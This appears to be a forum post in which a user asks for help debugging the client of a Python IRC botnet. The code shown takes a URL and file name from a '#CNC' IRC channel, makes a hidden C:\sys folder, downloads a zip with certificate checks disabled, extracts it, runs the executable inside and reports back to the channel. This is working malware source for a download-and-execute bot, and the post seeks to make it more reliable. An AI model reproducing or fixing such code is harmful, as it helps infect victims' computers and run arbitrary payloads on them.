Thread: [python irc botnet code help](#)

whysoserious1948 - December 13, 2017, 1:28 pm

i make botnet over irc whit python but when i make download and excute some bots get the command and some not

why is that

i use urllib and re

the code look like this

```
data = client.recv(4096)
```

```
# 4096 bytes did i need to chanage it ?
```

```
Https = re.findall("https://[0-9A-Za-z]*.*", data)
```

```
Https = "".join(Https)
```

```
Http = re.findall("http://[0-9A-Za-z]*.*", data)
```

```
Http = "".join(Http)
```

```
File_Name = re.findall("Name: [0-9A-Za-z]*", data)
```

```
File_Name = "".join(File_Name)
```

```
try:
```

```
    context = ssl._create_unverified_context()
```

```
    File_Name = File_Name.split()
```

```
    os.popen("mkdir c:\sys")
```

```
    os.popen("attrib +h c:\sys")
```

```
    try:
```

```
        urllib.urlretrieve(Http, "C:\sys\\" + File_Name[1] + ".zip", context=context)
```

```
    except:
```

```
        pass
```

```
    try:
```

```
        urllib.urlretrieve(Https, "C:\sys\\" + File_Name[1] + ".zip", context=context)
```

```
    except:
```

```
        pass
```

```
    zip_ref = zipfile.ZipFile("C:\sys\\" + File_Name[1] + ".zip", 'r')
```

```
    zip_ref.extractall("C:\sys\\")
```

```
    zip_ref.close()
```

```
    print "yes"
```

```
    os.startfile("C:\Sys\\"+File_Name[1] + ".exe")
```

```
    time.sleep(25)
```

```
msg = "The Files Download. And Runing"  
client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")
```

except:

```
time.sleep(25)  
msg = "Something is Wrong Bro try again"  
client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")
```

mybey is the webhosting http he get to much request to downlaod on the same time ?
